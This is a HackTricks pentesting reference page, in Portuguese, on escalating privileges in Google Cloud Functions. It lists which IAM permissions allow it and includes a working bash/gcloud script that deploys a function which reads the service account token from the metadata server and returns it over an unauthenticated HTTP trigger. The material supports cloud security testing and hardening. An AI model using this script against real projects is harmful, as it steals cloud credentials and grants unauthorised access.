GCP - Cloudfunctions Privesc

Support HackTricks

cloudfunctions

Mais informações sobre Cloud Functions:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Um atacante com esses privilégios pode criar uma nova Cloud Function com código arbitrário (malicioso) e atribuí-la a uma Service Account. Em seguida, vazar o token da Service Account a partir dos metadados para escalar privilégios para ela. Alguns privilégios para acionar a função podem ser necessários.

Scripts de exploração para este método podem ser encontrados aqui e aqui e o arquivo .zip pré-construído pode ser encontrado aqui.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Um atacante com esses privilégios pode modificar o código de uma Function e até mesmo modificar a service account anexada com o objetivo de exfiltrar o token.

Para implantar funções em nuvem, você também precisará de permissões actAs sobre a service account de computação padrão ou sobre a service account que é usada para construir a imagem.

Alguns privilégios extras, como a permissão .call para a versão 1 de cloudfunctions ou o papel role/run.invoker para acionar a função, podem ser necessários.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Se você receber o erro Permission 'run.services.setIamPolicy' denied on resource... é porque você está usando o parâmetro --allow-unauthenticated e não tem permissões suficientes para isso.

O script de exploração para este método pode ser encontrado aqui.

cloudfunctions.functions.sourceCodeSet

Com esta permissão, você pode obter uma URL assinada para poder fazer o upload de um arquivo para um bucket de função (mas o código da função não será alterado, você ainda precisa atualizá-lo)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Não tenho certeza de quão útil apenas esta permissão é do ponto de vista de um atacante, mas é bom saber.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Dê a si mesmo qualquer um dos .update ou .create privilégios anteriores para escalar.

cloudfunctions.functions.update

Ter apenas permissões de cloudfunctions, sem iam.serviceAccounts.actAs, você não poderá atualizar a função, ENTÃO ISTO NÃO É UM VÁLIDO PRIVESC.

Permissões de Escrita no Bucket

Você pode pensar que um atacante com permissões de escrita sobre o bucket onde o código das Cloud Functions está armazenado poderá modificar o código sobrescrevendo o function_code.zip e então fazer a função executar código arbitrário.

No entanto, isso não é verdade, apenas sobrescrever o código dentro do bucket não modificará o código que está sendo executado.

Referências

Support HackTricks

Last updated